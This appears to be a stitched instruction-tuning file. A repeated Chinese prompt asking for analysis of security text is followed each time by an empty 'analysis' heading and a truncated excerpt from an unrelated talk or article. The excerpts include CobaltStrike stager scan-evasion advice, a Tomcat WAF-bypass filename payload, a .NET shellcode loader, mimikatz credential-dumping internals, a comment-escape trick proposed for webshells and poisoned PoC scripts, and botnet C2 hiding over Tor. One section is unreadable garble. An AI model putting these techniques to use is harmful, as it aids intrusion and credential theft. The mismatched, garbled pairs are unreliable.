最后，我要说用方法2的原因是简单方便。在搞小活动的时候用简单的方法最高效。不要和我杠各种前
置，搞大活动肯定是需要基础设施部署的，小活动我认为搞那么大动静并不高效。
补充下《关于CobaltStrike的Stager被扫问题》的问题。在星球有个小伙伴说他kill了还是能使用
stager，我去测试发现真的是，前提是你使用了c2profile，在里面配置了stager相关的url和配置，当你
kill掉sites中的监听，可以防止被扫描，但是还不影响c2profile中的配置，我感觉现在就完美了，在
c2profile中配置好stager自定义的url，然后kill掉sites中默认的stager监听，即防止了被扫也不妨碍分阶
段的使用。完美！


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

BITSInject
Using the BITS service to execute a program in the
“NT AUTHORITY/SYSTEM” session.
Summary
BITS Background
Details
How We Got There - Research Flow
First Naive Try
Taking Inspiration From Windows Update Service (wuaueng)
Imitating Wuaueng
The State File is the Supervisor
Interactive or not?
Migrate your Payload
A Cleaner Method
A Little Anecdote
Reproduction Instructions
General Reproduction Description
Step-by-step Reproduction instructions
Affected Environment Details
Summary
We formed a logical manipulation on BITS’s permissions validation model. As a local
administrator, we were able to take almost full control of the BITS jobs queue, altering jobs’
properties and states, ultimately achieving program execution in the LocalSystem account
(NT AUTHORITY/SYSTEM), within session 0.
It does not involve creating a new service, nor modifying any of the OS’s PE files.
We introduce a new method in which a local administrator account can execute a program in
the NT AUTHORITY/SYSTEM context. The method relies on BITS NotifyCmdLine option, by
injecting a job to the service queue. Execution can be either interactive  or not.
1
In this article, we would like to not only introduce the practical method, but also:
●
Present a detailed explanation of the binary structure of the BITS DB file (from now on,
we will use the internal name - “state file”)
●
Share the knowledge we gathered while researching the service operation flow
●
Provide free giveaways:
○
A one-click python script that executes a program as LocalSystem using this new
technique
○
A generic python script that injects any pre-produced job into the current queue
○
An 010 editor template file with the types and structs definitions, which can be
used to parse BITS files.
○
SimpleBITSServer - a Python implementation of a BITS server, based on
Python’s SimpleHTTPRequestHandler.
1An interactive program will dispatch the “Interactive Services Detection” message (...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

探寻Tomcat⽂件上传流量层⾯绕waf新姿
势
探寻Tomcat⽂件上传流量层⾯绕waf新姿势
写在前⾯
Pre
前置
深⼊
变形 更新2022-06-20
扩⼤利⽤⾯
更新Spring 2022-06-20
Spring4
Spring5
参考⽂章
写在前⾯
⽆意中看到ch1ng师傅的⽂章觉得很有趣，不得不感叹师傅太厉害了，但我⼀看那长篇的函
数总觉得会有更骚的东西，所幸还真的有，借此机会就发出来⼀探究竟，同时也不得不感慨
下RFC⽂档的妙处，当然本⽂针对的技术也仅仅只是在流量层⾯上waf的绕过
Pre
很神奇对吧，当然这不是终点,接下来我们就来⼀探究竟
前置
这⾥简单说⼀下师傅的思路
部署与处理上传war的servlet是 org.apache.catalina.manager.HTMLManagerServlet
在⽂件上传时最终会通过处
理 org.apache.catalina.manager.HTMLManagerServlet#upload
调⽤的是其⼦类实现
类 org.apache.catalina.core.ApplicationPart#getSubmittedFileName
这⾥获取filename的时候的处理很有趣
看到这段注释，发现在RFC 6266⽂档当中也提出这点
Avoid including the "\" character in the quoted-string form of the
filename parameter, as escaping is not implemented by some user agents,
and "\" can be considered an illegal path character.
那么我们的tomcat是如何处理的嘞？这⾥它通过函数 HttpParser.unquote 去进⾏处理
简单做个总结如果⾸位是 " (前提条件是⾥⾯有 \ 字符)，那么就会去掉跳过从第⼆个字符开
始，并且末尾也会往前移动⼀位，同时会忽略字符 \ ，师傅只提到了类似 test.\war 这样的
例⼦
但其实根据这个我们还可以进⼀步构造⼀些看着⽐较恶⼼的⽐如 filename=""y\4.\w\arK"
public static String unquote(String input) {
        if (input == null || input.length() < 2) {
            return input;
        }
        int start;
        int end;
        // Skip surrounding quotes if there are any
        if (input.charAt(0) == '"') {
            start = 1;
            end = input.length() - 1;
        } else {
            start = 0;
            end = input.length();
        }
        StringBuilder result = new StringBuilder();
        for (int i = start ; i < end; i++) {
            char c = input.charAt(i);
            if (input.charAt(i) == '\\') {
                i++;
                result.append(input.charAt(i));
            } else {
                result.append(c);
            }
        }
        return result.toString();
    }
深⼊
还是在 org.apache.catalina.core.ApplicationPart#getSubmittedFileName 当中，
⼀看到这个将字符串转换成map的操作总觉得⾥⾯会有更骚的东西(这⾥先是解析传⼊的参数
再获取，如果解析过程有利⽤点那么也会影响到后⾯参数获取)，不扯远继续回到正题
⾸先它会获取header参数 Content-Disposition 当中的值，如果以 form-data 或
者 attachment 开头就会进⾏我们的解析操作，跟进去⼀看果不其然，看
到 RFC2231Utility 瞬间不困了
后⾯这...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Dirty Little Secrets of
Information Security
Why we might not be doing as well as you would hope.
Bruce Potter (gdead@shmoo.com)
1
Don’t Believe Anything I Say
• “Every person who has mastered a profession is a skeptic
concerning it.” - George Bernard Shaw
• “Authority has every reason to fear the skeptic, for authority
can rarely survive in the face of doubt” - Robert Lindner
• Security is all about not trusting what you are hearing,
seeing, or being sent to you
• As true in meatspace as in teh tubes
• By Day, Senior Associate for Booz Allen Hamilton
• Wireless Security, application assurance, information
security strategy
• By Night, Founder of The Shmoo Group
2
What’s happening here?
• The goal of this talk is to call out some of the 800lbs
gorillas in the room
• The security industry is riddled with them, and
sometimes they’re called out in non-productive ways
• I’d like to address them head on... and actually do
something useful with our jobs
• NOTE: Much of what is in this presentation you will
probably disagree with.  Also, much of what is in this
presentation is my opinion and analysis based on what
can loosely be called “research.”  Feel free to throw
stones.
3
Let’s have some structure to our discussion
IDS
Patch Mgt
Policies & Procedures
Firewalls
AAA Services
Software
ACLs
Software Sec
Honey
pots
Sophistication and Operational Cost
Operations (IT)
Network
Software
Operations (Security)
Academic / Emerging
4
What gave birth to the 800lbz Gorillaz?
• The security community as evolved dramatically
over the last several decades
• Initially a small group of computer scientists in
the 60’s ran a small, academic group of
computers
1960
1970
1980
1990
2000
Unix
Developed
Tubes!
Computers
with Tubes!
ARPANet
starts
5
What gave birth to the 800lbz Gorillaz?
• Things got serious in the 70’s
• Telnet was introduced
• A great deal of research on trusted systems was
performed
• Blueboxing was born
1960
1970
1980
1990
2000
Unix
Developed
Tubes!
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

!

"

#
$
%

&
'
(
(
#
%
)
%
*
*
+
,
-
.
/
0
1
.
2
,
3
-
0
/
0
4
5
2
.
6
7
0
8
-
,
5
8
,
7
0
8
6
5
1
.
9
,
4
2
.
,
/
0
3
8
-
0
:
.
2
.
7
-
9
0
8
5
7
.
;
3
5
<
=
/
.
8
-
7
0
/
<
,
9
.
1
>
5
-
?
@
.
?
5
7
2
.
6
5
8
-
?
.
<
,
6
-
A
B
2
-
?
0
3
C
?
6
0
/
.
0
:
-
?
.
6
.
.
2
.
7
-
9
0
8
5
7
1
.
@
5
7
.
6
,
9
.
3
6
.
9
@
5
6
5
4
2
.
,
<
<
2
5
,
8
7
.
6
D
6
3
7
?
,
6
.
8
-
.
9
-
,
5
8
/
.
8
-
,
8
1
8
,
@
5
C
,
-
5
0
8
6
E
6
=
-
.
/
6
D
/
,
8
E
,
9
.
1
.
@
5
7
.
6
3
8
1
.
9
-
?
.
?
0
0
1
5
8
7
2
3
1
5
8
C
7
0
8
-
9
0
2
2
.
9
6
:
0
9
:
3
.
2
5
8
F
.
7
-
5
0
8
D
,
8
-
5
=
2
0
7
G
4
9
,
G
.
6
D
,
8
1
,
5
9
4
,
C
6
A
H
?
.
8
3
/
4
.
9
0
:
1
.
@
5
7
.
6
3
6
.
1
D
,
6
>
.
2
2
,
6
-
?
.
6
0
=
<
?
5
6
-
5
7
,
-
5
0
8
D
@
.
9
6
,
-
5
2
5
-
E
D
,
8
1
<
9
0
C
9
,
/
/
,
4
5
2
5
-
E
0
:
-
?
.
1
.
@
5
7
.
6
5
6
7
0
8
-
5
8
3
,
2
2
E
5
8
=
7
9
.
,
6
5
8
C
A
I
0
-
6
3
9
<
9
5
6
5
8
C
2
E
D
-
?
.
6
.
1
.
@
5
7
.
6
,
9
.
,
2
6
0
8
.
-
>
0
9
G
.
1
D
,
2
2
0
>
5
8
C
-
?
.
/
-
0
7
0
/
/
3
8
5
7
,
-
.
>
5
-
?
.
,
7
?
0
-
?
.
9
,
8
1
>
5
-
?
,
1
1
5
-
5
0
8
,
2
.
;
3
5
<
/
.
8
-
0
3
-
6
5
1
.
-
?
.
@
.
?
5
7
2
.
:
0
9
1
5
,
C
8
0
6
-
5
7
6
,
8
1
7
0
8
J
C
3
9
,
-
5
0
8
A
B
3
-
0
/
0
-
5
@
.
.
2
.
7
-
9
0
8
5
7
1
.
@
5
7
.
6
.
8
,
4
2
.
-
?
.
2
0
C
C
5
8
C
0
:
@
.
?
5
7
2
.
6
.
8
6
0
9
1
,
-
,
D
<
,
9
=
-
5
7
3
2
,
9
2
E
5
8
-
?
.
.
@
.
8
-
0
:
,
8
,
7
7
5
1
.
8
-
0
9
,
8
.
,
9
/
5
6
6
A
+
5
-
-
2
.
5
8
:
0
9
/
,
-
5
0
8
,
4
0
3
-
-
?
.
6
.
2
0
C
C
5
8
C
1
.
@
5
7
.
6
5
6
9
.
,
1
5
2
E
,
@
,
5
2
,
4
2
.
D
4
.
7
,
3
6
.
-
?
0
6
.
>
5
-
?
-
?
.
5
8
:
0
9
/
,
-
5
0
8
K
@
.
?
5
7
2
.
,
8
1
,
:
-
.
9
/
,
9
G
.
-
-
0
0
2
/
,
8
3
:
,
7
-
3
9
.
9
6
L
,
9
.
/
,
G
5
8
C
,
8
.
M
0
9
-
-
0
G
.
.
<
-
?
.
5
8
:
0
9
/
,
-
5
0
8
1
5
N
7
3
2
-
:
0
9
-
?
.
<
3
4
2
5
7
-
0
0
4
-
,
5
8
A
KO
>
,
6
<
.
9
6
0
8
,
2
2
E
1
.
8
5
.
1
/
.
/
4
.
9
=
6
?
5
<
5
8
-
?
.
0
8
2
E
1
5
6
7
3
6
6
5
0
8
C
9
0
3
<
O
,
/
,
>
,
9
.
0
:
0
8
-
?
5
6
6
3
4
F
.
7
-
4
.
7
,
3
6
.
O
,
/
8
0
-
2
,
>
.
8
:
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

ASM in .NET: The old is new again
by Jon McCoy(DigitalBodyGuard)
Abstract:
This paper will cover running raw Machine Code(ASM) from within .NET. As we all know .NET runs
on IL(Intermediate Language) also known as “Managed byte code”. A program can declare an unsafe
section of code and drop out from the managed area to run something like unmanaged C++ or the like.
This paper will show how to run raw/unmanaged ASM in a normal safe C# application.
The Basics of running ASM under .NET:
To run ASM code just make a pointer to your target byte code. The execution point will jump you to
the byte code and start executing, no unsafe keyword needed. This method currently requires one call
to unmanaged code to allocate memory in code space.
The sequence is as follows:
➢ Create an allocated space for the ASM byte code
➢ Copy the byte code into the allocated space
➢ Turn the pointer into a Delegate
➢ Run the Delegate
➢ Free up the space
// make some space for the byte code in code space, so it can be ran
IntPtr pointer = VirtualAlloc(IntPtr.Zero, new UIntPtr((uint)_ASM_Code.Length), AllocationType.COMMIT |
    AllocationType.RESERVE, MemoryProtection.EXECUTE_READWRITE);
// copy the ASM code into memory(code memory)
System.Runtime.InteropServices.Marshal.Copy(_ASM_Code, 0, pointer, _ASM_Code.Length);
// build the function pointer to the ASM code(x64)!!!!!!!!!!
funPointer ASM_Function =
    (funPointer)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(pointer, typeof(funPointer));
// Run the ASM code
ASM_Function();
// free up the ASM code in mem:)
VirtualFree(pointer, 0, 0x8000);
Complete Class code below
This method requires access to VirtualAlloc/VirtualFree from kernel32.dll. This call into kernal32 is
possible to block by revoking access to calling unmanaged resources and will only work in windows.
The ability to run ASM under .NET with the code I supply can be stopped by removing the ability to
call unmannaged assemblies. At the end of this paper, ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Exploiting Windows
Exploit Mitigation
for ROP Exploits
Omer Yair
DEF CON 27
• Omer Yair
• TDAD Endpoint Team Lead at Symantec
• Speaker at DerbyCon, Virus Bulletin, Zero Nights
• Photography BFA Graduate
• Exhibited at multiple exhibitions
• Photo book in the makings
• @yair_omer
Who Am I?
Vote Sloth by Grant Shepley
“A concept is a brick. It can be used
to build a courthouse of reason. Or
it can be thrown through the
window.”
Gilles Deleuze
Return Oriented Programming 101
Windows Exploit Mitigations
and how to abuse them
ROP Mitigations
and how to bypass them
Demo
Agenda
Return Oriented Programming - Timeline
Smashing
The Stack
For Fun And
Profit
1996
Smashing the Stack
For Fun And Profit
Aleph One (Elias Levy)
1996
Street fight against British soldiers, Northern Ireland.
Bruno Barbey, 1971
FuncFirst:
...
0x7F200100
push 0x22002200
0x7F200101
push 0x00110011
0x7F200102
call FuncSecond
0x7F200107
...
FuncSecond:
0x7F204C00
sub esp, 0x8
0x7F204C03
...
0x7F204D19
add esp, 0x8
0x7F204D1C
ret
Stack Semantics (x86)
0x00802000
0x00804000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x7F400123
0x00C0FFEE
0x00000000
0x00000000
0x00000000
FuncFirst:
...
0x7F200100
push 0x22002200
0x7F200101
push 0x00110011
0x7F200102
call FuncSecond
0x7F200107
...
FuncSecond:
0x7F204C00
sub esp, 0x8
0x7F204C03
...
0x7F204D19
add esp, 0x8
0x7F204D1C
ret
Stack Semantics (x86)
0x00802000
0x00804000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x22002200
0x7F400123
0x00C0FFEE
0x00000000
0x00000000
0x00000000
FuncFirst:
...
0x7F200100
push 0x22002200
0x7F200101
push 0x00110011
0x7F200102
call FuncSecond
0x7F200107
...
FuncSecond:
0x7F204C00
sub esp, 0x8
0x7F204C03
...
0x7F204D19
add esp, 0x8
0x7F204D1C
ret
Stack Semantics (x86)
0x00802000
0x00804000
0x00000000
0x00000000
0x00000000
0x00000000
0x00110011
0x22002200
0x7F400123
0x00C0FFEE
0x00000000
0x00000000
0x00000000
FuncFirst:
...
0x7F200100
push 0x22002200
0x7F200101
push 0x00110011
0x...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Hackers Hiring Hackers: How to
Do Things Better
Tottenkoph
IrishMASMS
Disclaimer
This presentation is intended for the attendees and may contain information that is
privileged or unsuitable for overly sensitive persons with low self-esteem, no sense of
humour, or irrational religious/political beliefs. Those of you with an overwhelming
fear of the unknown will be gratified to learn that there is no intended hidden
message revealed by reading this warning backwards, so just ignore that alert notice
from Microsoft. However, by pouring a complete circle of salt around yourself and
your computer, you can ensure that no harm will befall you or your pets. Your mileage
& satisfaction may vary, not all warranties apply during all time frames. Confirm these
statements with your management before approval & implementation.
No individuals or equipment were harmed while producing this presentation, but it
was created with recycled electrons. No animals were harmed in the transmission of
this document, although if the raccoons keep getting into the trash I may have to do
something about it. No individual, organization, or entity can be held liable or be
quoted without written consent of the presenters.
I speak for no one, no one speaks for me.
Who & What are we?
Who & What are you?
● Human
● Potentially a hiring manager
● Hacker with little to no work experience in
the field
● Hacker with experience looking for their next
opportunity
Why are we talking about this at
DEFCON?
● Lots of talks about how to be a better pen tester and
how to use all of the cool new tools, but only a few talks
that address what some of us consider to be the hardest
part of getting a job in InfoSec: the hiring process.
● We desperately need people with the technical skills
hackers have
● Both sides of the table are doing horribly when it comes
to hiring and interviewing for work.
Why are we talking about this at
DEFCON?
This talk takes our experiences (and that of others in the ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

S-Mimikatz源码调试
前期准备
mimikatz源码：地址
调试环境： vs2019
几点设置：
1. 因为官方项目没有debug方案，所以需要手动添加debug配置
2. 项目属性配置
程序入口
调试以 privilege::debug 为例。打开调试-> mimikatz 调试属性->配置属性->调试->命令参数
wmain()是 mimikatz`的入口函数。
命令分发
从上面的循环中获取到请求参数之后就进入到命令分发的 mimikatz_dispatchCommand() 函数。
这里首先有一个 kull_m_file_fullPath 方法，然后进行匹配，暂时不知道具体作用是什么，之
后进入 mimikatz_doLocal() 方法。
命令执行
在对命令进行请求分发之后获取到 module 和 commond 两个参数，之后就进入了命令执行的阶段，
这个地方涉及到结构体的知识。
首先 mimikatz_modules[] 是一个数组，数组里面存放的是每一个模块的结构体的指针。那么第
210行就是将 module 的值和每个模块结构体中定义的 shortName 进行比较，如果相同，返回0。
结构体的结构在 kuhl_m.h 这个头文件中进行定义。
之后第213和214两行相同的方式去寻找同一个模块下存在的 command ，每个模块都预先定义一个
数组，存放全部的可执行方法的信息。
最重要的就是第215行， status = mimikatz_modules[indexModule]-
>commands[indexCommand].pCommand(argc - 1, argv + 1); ，执行这个模块和命令。
mimikatz_modules[indexModule]->commands[1] 这一步相当于找到了
kuhl_m_c_privilege[] 这个数组的第一个元素，然后这个 const KUHL_M_C
kuhl_m_c_privilege[] 数组，是一个结构体数组，这个第一项表示的是一个 指针函数 ，那后面
的 .pCommand(argc - 1, argv + 1) 就是去调用 kuhl_m_privilege_debug 这个函数。
可以看到的是对于 privilege::debug 这个功能，执行的函数是
kuhl_m_privilege_simple() ，而最后调用的系统API是 RtlAdjustPrivilege() 。
至此，整个简单的流程分析已经结束了，关于 mimikatz 的请求流程，和命令分发已经了解清楚
了。
S-Mimikatz_msv模块
NTSTATUS kuhl_m_privilege_simple(ULONG privId)
{
   ULONG previousState;
   NTSTATUS status = RtlAdjustPrivilege(privId, TRUE, FALSE, &previousState);
   if(NT_SUCCESS(status))
      kprintf(L"Privilege \'%u\' OK\n", privId);
   else PRINT_ERROR(L"RtlAdjustPrivilege (%u) %08x\n", privId, status);
   return status;
}
模块介绍
在 mimikatz 中 msv 模块的作用是枚举 LM 和 NTLM 凭证， KUHL_M_C 结构体中的描述是 Lists LM
& NTLM credentials ，根据之前分析的命令分发过程， sekurlsa::msv 最终通过函数指针调用
函数 kuhl_m_sekurlsa_msv()
函数文件位置 kuhl_m_seckurlsa_msv1_0.c
结构体 KUHL_M_SEKURLSA_PACKAGE ，此处可以看到 ModuleName 的值设置为 lsasrv.dll ，这个
也是抓取 NTML 的重点模块。
KUHL_M_SEKURLSA_PACKAGE kuhl_m_sekurlsa_msv_package = {L"msv",
kuhl_m_sekurlsa_enum_logon_callback_msv, TRUE, L"lsasrv.dll", {{{NULL, NULL}, 0,
0, NULL}, FALSE, FALSE}};
const PKUHL_M_SEKURLSA_PACKAGE kuhl_m_sekurlsa_msv_single_package[] =
{&kuhl_m_sekurlsa_msv_pac...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

I‘m on Your Phone, Listening –
Attacking VoIP Configuration
Interfaces
Stephan Huber | Fraunhofer SIT, Germany
Philipp Roskosch | Fraunhofer SIT, Germany
About us
Stephan
 Security Researcher @Testlab
Mobile Security (Fraunhofer SIT)
 Code Analysis Tool development
 IOT Stuff
 Founder of @TeamSIK
2
About us
Philipp
 Security Researcher & Pentester
@Secure Software Engineering
(Fraunhofer SIT)
 Static Code Analysis
 IoT Vuln Detection Research
 Day 1 Member of @TeamSIK
3
 TODO
4
Alexander Traud
Acknowledgements
Beer Announcement
5
Past Projects
6
Def Con 26: Tracker Apps
DeF Con 25: Password Manager Apps
Def Con 24: Anti Virus Apps
Blackhat EU 2015: BAAS Security
https://team-sik.org
What’s next?
7
 Wide distribution
 Complex software
 Readily accessible
The Target Devices
8
Perfect World
9
Internet
Guest Network
Workstation Network
VoIP Phone Network
Real World
10
Internet
Network
VoIP Phones
Guests
Workstations
Publicly reachable!
Agenda
11
 Background
 IoT Hacking 101
 Findings
 DOS, Weak Crypto, XSS, CSRF
 Command Injection
 Authentication Bypass
 Memory Corruption
 Recommendations
 Responsible disc. experiences
 Summary
12
Background
Architecture and Attack Targets
ARM/
MIPS
F
L
A
S
H
Linux OS
Kernel
Bootloader
13
Architecture and Attack Targets
ARM/
MIPS
F
L
A
S
H
Linux OS
Kernel
init
uid:0
watchdog   uid:0
sipd
uid:0
•
loads kernel modules/drivers
•
spawn webserver
•
launch scripts
•
command interface
•
…
(web)server uid:0
Bootloader
•
basic setup
•
starts daemons
•
…
•
checks if daemons run
•
…
14
Architecture and Attack Targets
ARM/
MIPS
F
L
A
S
H
Linux OS
Kernel
init
uid:0
watchdog   uid:0
sipd
uid:0
•
loads kernel modules/drivers
•
spawn webserver
•
launch scripts
•
command interface
•
…
(web)server uid:0
Bootloader
•
basic setup
•
starts daemons
•
…
•
checks if daemons run
•
…
15
16
Methodology
Abstract Methodology
17
Webserver is
Running
Web Pentesting
Static Analysis
Dynamic Analysis
Setup VoIP Phone
Attach HTTP Proxy
Extract Firmware
Emulatio...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

摸鱼的时候在挖洞，本身想写一个文件内容过滤的小脚本（误报太多了），发现报错，看网
上貌似是编码问题，于是我就百度了下，发现 py 上加两句就可以了
# -*- coding: utf-8 -*-
# coding:unicode_escape
但是当我运行的时候，我突然发现注释报错了
本来我以为是正常的报错，debug 一下，发现正常代码没任何问题，但我发现行数不对，是
在第 13 行，但是这是被注释掉的内容啊，我深入了一下发现，问题出现在 \n 和
unicode_escape 上，于是我新搞了个文件进行测试
可以成功解析\n，那么使用命令呢
我们可以看到注释的内容并不会在 debug 中跟到注释当中，但是会执行注释当中的语句，
这也就是为什么我 debug 不出来的原因
但是 python 为啥使用 unicode_escape 即可解析注释的内容呢？带着这个问题写一个 demo
进行原理分析，我们可以看到下面两张图第一个是使用的 unicode_escape 编码的文件，而
第二个文件则是默认的 utf-8
Test2.py 内容：
# coding:unicode_escape
# \nprint('1)
其中我们可以看到 unicode_escape 的文件语句是  \nprint(1)，而默认的则是\\n,也就是说明
unicode_escape 的其实是给\\n 减少了一个\
于是尝试 debug，打上断点，我发现第一次出现 unicode_escape 是在
我们定位到 read_or_stop
发现只是一个简单的 readline，而注释也说了，最多只会调用两次，所以这也是为什么开发
一般编码都要放在第一行的原因，并且也说明了，如果未指定编码，默认将是 utf-8
然后继续往下走，省下中间一堆无用过程，我们可以看到此时的 print（1）前面还是\\n
但是在 513 行，先是判断 encoding 存不存在，如果存在就用 encoding 进行解析本身存在
的 line，此时我们可以看到\\n 被解析成了\n，于是就后面的 print(1)因为换行符的原因，被
调到了下一行，也就正常执行了
我们本地简单测试下
可以发现，正常的 a 输出后会减少一个\，但还是会输出\n，但是当使用 decode
（“unicode_escape”）后，我们发现被解析了，因为 print 本身就会空一行，所以 print(‘\n’（被
解析后的\n）)就会空 2 行，这也就成功的逃逸出注释符了
这证明什么，证明只要能解析掉换行符我们即可执行注释，那么除了 unicode_escape 编码，
还有其他的么，打开 python 的底层源码，发现在 codescs.rst 中记录着各式各样的编码，在
unicode_escape 上方还有一个 raw_unicode_escape
尝试用 raw_unicode_escape 执行 py
发现不行，不过没关系，看一下源码中是咋注释的，毕竟带有 unicode_escape，肯定是有关
系的，上面是要以\uxxxx，那么试用一下换行符\u000d，发现也可以成功解析
不过除了这种，应该还会有，我也就没有继续深挖下去，有兴趣的师傅可以自己看一看
python 的编码，应该是还会有其他的可以解析
后面我在想，既然 python 能有这种编码操作，那么 php 和 java 会不会有呢？很不幸的是，
花活最多的 php 没找到这种操作（可能是因为我太菜了），但 java 却有了突破，找到了之前
p 牛写的一篇文章《unicode 反噬》用的也是利用注释进行 bypass（果然大佬永远快一步），
如图
发现与 py 一样，同样可以执行注释里的内容
但 java 与 py 不同的是，java 本身会用 unicode 解析整个项目，然后再进行执行，所以如图
所示，正常我们是可以执行计算器的
但是如图所示，当我们在 java 代码中添加了\u000d 后，java 这边会执行报错，因为他解析
了换行符，所有就不会正常执行
与之对应的是 py，虽然第四行同样报错，但 py 是一句一句执行的，所以可以正常的输出 1，
但 java 先进行了一遍整体 unicode 解析，所以当解析完换行符后，java 就不会开始执行而
是报错了
用这个可能可以做到很多事，比如网站我们构造注释 webshell，比如二开 poc 脚本投毒进行
钓鱼，比如构造一个好玩的小程序用注释偷偷恶搞，用拼接的方式构造命令上线 cs，玩法有
很多很多，后面想到了再补充吧
最后再放上 p 师傅的两个样本供大家学习
Author Zac
公众号 ZAC 安全
微信 zac...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

云环境自动化入侵溯源实战
徐越 阿里云安全工程师
WHOAMI
2015
2016
2019
• @cdxy_
• 安全工程师@阿里云
• 企业安全/入侵检测与响应
• 数据分析/机器学习爱好者
响应速度是企业安全能力的核心体现
是否误报？
漏洞？攻击路线？
黑客背景？目的？
影响哪些资产和账号？
泄露哪些数据？
是否存在内部违规操作？
...
告警
安全运营
看看怎么被入侵的
200G
日志
0
日志
看看怎么被入侵的
99%
误报
又来告警了
安全运营现状
安全运营流程中的技术问题
数据缺失
系统孤立
人工检索
[ 自动化入侵回溯 ]
多源异构数据的知识表达
采集
计算
交互
云原生的数据采集方案
满足90%以上事件调查
千万级RPS实时流计算
自动寻找入侵相关信息
图结构可视化
还原入侵链路
可视化
冗余
只展示有用的信息
数十种行为细节
粗糙
离线
分钟级延时
计算流程
将行为抽象成实体，描述入侵细节
黑客IP: x.x.x.x
服务器IP: x.x.x.x
攻击
黑客IP: x.x.x.x
服务器IP: x.x.x.x
漏洞利用
执行恶意指令
写入文件
告警
基于日志的被动关系构建
主动关系推理
断链修复：关联规则挖掘
watchbog
蠕虫回溯案例
JIRA模板注入(CVE-2019-11581)
Solr RCE(CVE-2017-12629)
SSH暴力破解
CouchDB RCE(CVE-2018-8007)
挖矿程序植入方式Top
• SSH/RDP登录后写入
• WebLogic RCE
• Kubernetes API Server未授权访问
• Struts2 RCE
• Hadoop YARN 未授权访问
WEBSHELL植入方式Top
• 表单文件上传
• 老马上传新马
• WordPress插件写入
• SSH/RDP登录后写入
• Discuz插件写入
宏观入侵原因统计
自动化0day捕获
Jenkins RCE (CVE-2019-1003000)
2019-01-30 15:45:22 - 115.236.5.58
WebLogic RCE (CVE-2019-2725)
2019-04-17 18:09:45 - 211.94.162.245
04-17
01-30
现阶段问题
数据
复杂网络拓扑/内网
计算
长时间窗口/复杂模型
对抗
Agent被杀或定向绕过
Q&A
cdxy000
cdxy_


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Resilient Botnet Command
and Control with Tor
Dennis Brown
July 2010
Introduction
● Who am I?
● Work for Tenable Network Solutions
● Spoken previously at Toorcon, PaulDotCom
Podcast
● Run Rhode Island's Defcon Group DC401
Doesn't it suck when your botnet
gets shut down?
● Lots of time lost
● Setting up servers
● Building the bot
● Crypting
● Spreading
– Seeding bad Torrents takes time
– Setting up drive-by downloads takes more time
● Lots of money lost
● Could be spending that time reselling, DDoSing,
etc.
How do botnets get taken down?
● Common methods include
● Hosting provider de-peered
– Example: McColo, Troyak
● Server hosting botnet cleans up/kicks off
– Public IRC servers, free web hosting
● Compromised host cleaned up/rebuilt
● DNS Revoked
● IP of C&C server banned
– Because Metus pwnz and I open a port on my router at
home just like the tutorial told me!
Wouldn't it be great if we had a way
to host these things with less risk of
take down?
We do.  Its called Tor.
I Really Like Tor
● Tor isn't “bad”, but people who use it can be
● Most people that use it aren't (I hope!)
● The capacity for devastating abuse with Tor is
huge
● Anonymity is King
● How anonymous is Tor?
● Recap research about beating Tor's anonymity
● Hey, it's good enough for WikiLeaks, right?
How does Tor help us hide our
botnets?
● Hidden Services
● Every bot master's dream!
● Authenticated Hidden Services!
● Private Tor Networks
● Exit Node Flooding
● Come at a price
● Speed
● Ease of Control
HTTP Hidden Service
HTTP Hidden Service
● Very basic, very effective
● What is a Hidden Service?
● Standard feature of Tor
– Insert Diagrams, etc
● Works behind NAT, Firewalls, etc.
– No need to expose services to the network
– We can use this to our advantage to stay hidden
● Hence the name
So I have a Zeus botnet...
● Easy to get running
● LAMP server running pretty much anywhere
– Watch out for data leakage revealing your IP!
● Zeus Control Panel running on this server
– Watch out for poor...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

PIG: Finding Truffles Without Leaving A Trace
Ryan Linn
DEFCON 19
Copyright Trustwave 2010
Overview
•
Introduction
•
Why are we here ?
•
How will this help me ?
•
Talking is boring show me
•
That’s neat, how does this work ?
•
Protocols and Plugins
•
Remediation
Copyright Trustwave 2010
Introduction
Ryan Linn / Senior Security Consultant at Trustwave
•  Member of SpiderLabs team at Trustwave
•  Contributor to Metasploit, BeEF, and other open source projects
•  Interests:
•  Process streamlining through tool integration, sharing knowledge,
Metasploit, making security knowledge accessible
•  Twitter: @sussurro
•  Web: www.happypacket.net
Copyright Trustwave 2010
Why are we here ?
Passive Network Information Gathering
•  Identify hosts/resources on a network
•  Profile individuals/applications
•  Determine network architecture
•  Machine/domain/individual naming schemes
Completely Silent
•  No IP address required
•  No Man-In-The-Middle required
Copyright Trustwave 2010
Why are we here ?
•
Understand what is on your network
•
Deep Packet Parsing sounds like fun
•
Make this information easier for everyone to access
•
How to leverage this for pen tests
•
Waiting here for the next talk..
Copyright Trustwave 2010
How will this help me?
SysAdmin/User
•  Know what traffic you are transmitting
•  Are you tipping your hand by just being on the network ?
Pen Tester
•  Understand what information you can use to profile a network
without anyone knowing you’re there
Everyone
•  Make this process easier
•  Use Metasploit Database to help process/manage data
•  Organize and manage results with Dradis
•  How to stay quiet on a network
Copyright Trustwave 2010
Talking is boring, show me
Demo Time
•  Demo 1 – Gathering Data
•  Use Metasploit PIG modules to parse traffic and save data to the
database
•  Demo 2 – Viewing data with Metasploit
•  Use Metasploit msfconsole to view collected data
•  Demo 3 – Using Dradi...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Leave your malware @home
MALPROXY
Amit Waisel       Hila Cohen
US
About
Amit Waisel
Offensive Cyber
Security Expert
Technology lead, Security
Research @ XM Cyber
Trusted Security Advisor
Favorite bit: 1
Private Pilot
,  Skipper
and cat lover
Hila Cohen
Security Researcher
@ XM Cyber
  @hilaco10
Passionate about Windows
Internals and Malware
Analysis
